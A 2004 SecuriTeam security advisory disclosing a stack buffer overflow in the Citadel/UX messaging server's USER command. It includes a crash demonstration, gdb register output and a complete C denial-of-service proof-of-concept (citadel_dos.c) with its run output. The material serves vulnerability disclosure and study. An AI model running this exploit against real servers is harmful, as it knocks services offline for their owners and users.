[UNIX] Citadel/UX Remote Buffer Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 08/01/04

  • Next message: SecuriTeam: "[UNIX] DansGuardian Hex Encoding URL Banned Extension Filter Bypass Vulnerability"
    To: list@securiteam.com
    Date: 1 Aug 2004 15:30:49 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Citadel/UX Remote Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.citadel.org> Citadel/UX is an advanced client/server
    messaging and collaboration system for BBS and groupware applications.
    Users can connect to Citadel/UX using any telnet, WWW, or client software.
    Among the features supported are public and private message bases (rooms),
    electronic mail, real-time chat, paging, etc. The server is multithreaded
    and can easily support a large number of concurrent users. In addition,
    SMTP, IMAP, and POP3 servers are built-in for easy connection to Internet
    mail. Citadel/UX is both robust and mature, having been developed over the
    course of the past thirteen years.

    The Citadel collaberation server is vulnerable to a classic stack overflow
    when receiving a long USER command.

    DETAILS

    Vulnerable Systems:
     * Citadel/UX version 6.23 and prior

    When sending a USER command to the Citadel/UX server on port (504) which
    is longer than 97 bytes, the application crashes and the EIP is
    overwritten. Example:
    coki@servidor:~$ telnet localhost 504
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    200 servidor Citadel/UX server ready.
    USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAA
    Connection closed by foreign host.
    coki@servidor:~$

    Using gdb to debug the process can show what is happening:
    root@servidor:~# ps -ax | grep "citserver -d"
    20147 pts/2 S 0:00 /usr/local/citadel/citserver -d
    root@servidor:~# gdb citserver 20147
    GNU gdb 5.3
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public
    License, and you are welcome to change it and/or distribute
    copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show
    warranty" for details. This GDB was configured as
    "i386-slackware-linux"...citserver: No such file or directory.

    Attaching to process 20147
    Reading symbols from /usr/local/citadel/citserver...done.
    Reading symbols from /lib/libpthread.so.0...done.
    Loaded symbols for /lib/libpthread.so.0
    Reading symbols from /lib/libncurses.so.5...done.
    Loaded symbols for /lib/libncurses.so.5
    Reading symbols from /lib/librt.so.1...done.
    Loaded symbols for /lib/librt.so.1
    Reading symbols from /usr/lib/libz.so.1...done.
    Loaded symbols for /usr/lib/libz.so.1
    Reading symbols from /lib/libresolv.so.2...done.
    Loaded symbols for /lib/libresolv.so.2
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    Reading symbols from /lib/libnss_compat.so.2...done.
    Loaded symbols for /lib/libnss_compat.so.2
    Reading symbols from /lib/libnsl.so.1...done.
    Loaded symbols for /lib/libnsl.so.1
    0x401072e1 in sigpending () from /lib/libc.so.6
    (gdb) c
    Continuing.

    Program received signal SIG32, Real-time event 32.
    0x401072e1 in sigpending () from /lib/libc.so.6
    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x61616161 in ?? ()
    (gdb) i r esp ebp eip
    esp 0xbfffc890 0xbfffc890
    ebp 0x61616161 0x61616161
    eip 0x61616161 0x61616161
    (gdb) q
    The program is running. Quit anyway (and detach it)? (y or n) y
    Detaching from program: /usr/local/citadel/citserver, process 20147
    root@servidor:~#

    The server does a tolower() (converts an uppercase letter to the
    corresponding lowercase letter) on the buffer before the overflow occurs,
    thus limiting the number of instructions we can use. Provided below is an
    exploit code for this vulnerability:
    --------------------------------- Begin Code: citadel_dos.c
    ---------------------------------
    /* citadel_dos.c
     *
     * Citadel/UX Remote DoS exploit (Proof of Concept)
     *
     * Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0
     *
     * by CoKi <coki@nosystem.com.ar>
     * No System Group - http://www.nosystem.com.ar
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <string.h>
    #include <getopt.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/fcntl.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define BUFFERSIZE 96+1
    #define ERROR -1
    #define TIMEOUT 3
    #define PORT 504

    int connect_timeout(int sfd, struct sockaddr *serv_addr,
      socklen_t addrlen, int timeout);
    void use(char *program);

    int main(int argc, char *argv[]) {
            char buffer[BUFFERSIZE], *p, temp[BUFFERSIZE];
            int sockfd;
            struct hostent *he;
            struct sockaddr_in dest_dir;

            if(argc != 2) use(argv[0]);

            p = buffer;

            printf("\n Citadel/UX Remote DoS exploit (Proof of Concept)\n");
            printf(" by CoKi <coki@nosystem.com.ar>\n\n");
        
          memset(p, 'A', 96);
            p += 92;
            *p = '\0';

            printf(" [+] verifying host:\t");
            fflush(stdout);
            
            if((he=gethostbyname(argv[1])) == NULL) {
                    herror("Error");
                    printf("\n");
                    exit(1);
            }
            
            printf("OK\n");

            if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
                    perror("Error");
                    printf("\n");
                    exit(1);
            }

            dest_dir.sin_family = AF_INET;
            dest_dir.sin_port = htons(PORT);
            dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
            bzero(&(dest_dir.sin_zero), 8);

            printf(" [+] conecting...\t");
            fflush(stdout);
            
            if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
                    sizeof(struct sockaddr), TIMEOUT) == ERROR) {
                    
                    printf("Closed\n\n");
                    exit(1);
            }

            printf("OK\n");
            
            printf(" [+] sending exploit...\t");
            fflush(stdout);
            
            recv(sockfd, temp, sizeof(temp), 0);
            send(sockfd, "USER ", 5, 0);
            send(sockfd, buffer, strlen(buffer), 0);
            send(sockfd, "\n", 1, 0);
            close(sockfd);
            
            printf("OK\n\n");
    }

    int connect_timeout(int sfd, struct sockaddr *serv_addr,
      socklen_t addrlen, int timeout) {

      int res, slen, flags;
      struct timeval tv;
      struct sockaddr_in addr;
      fd_set rdf, wrf;

      fcntl(sfd, F_SETFL, O_NONBLOCK);

      res = connect(sfd, serv_addr, addrlen);

      if (res >= 0) return res;

      FD_ZERO(&rdf);
      FD_ZERO(&wrf);

      FD_SET(sfd, &rdf);
      FD_SET(sfd, &wrf);
      bzero(&tv, sizeof(tv));
      tv.tv_sec = timeout;

      if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
        return -1;

      if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
        slen = sizeof(addr);
        if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
        return -1;

        flags = fcntl(sfd, F_GETFL, NULL);
        fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

        return 0;
      }

      return -1;
    }

    void use(char *program) {
            printf("Use: %s <host>\n", program);
            exit(1);
    }
    ---------------------------------- End Code: citadel_dos.c
    ----------------------------------

    Compiling and running in the following manner:
    coki@servidor:~$ make citadel_dos
    coki@servidor:~$ ./citadel_dos localhost

    Citadel/UX Remote DoS exploit (Proof of Concept)
    by CoKi

    [+] verifying host: OK
    [+] conecting... OK
    [+] sending exploit... OK

    coki@servidor:~$

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:coki@nosystem.com.ar> CoKi.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] DansGuardian Hex Encoding URL Banned Extension Filter Bypass Vulnerability"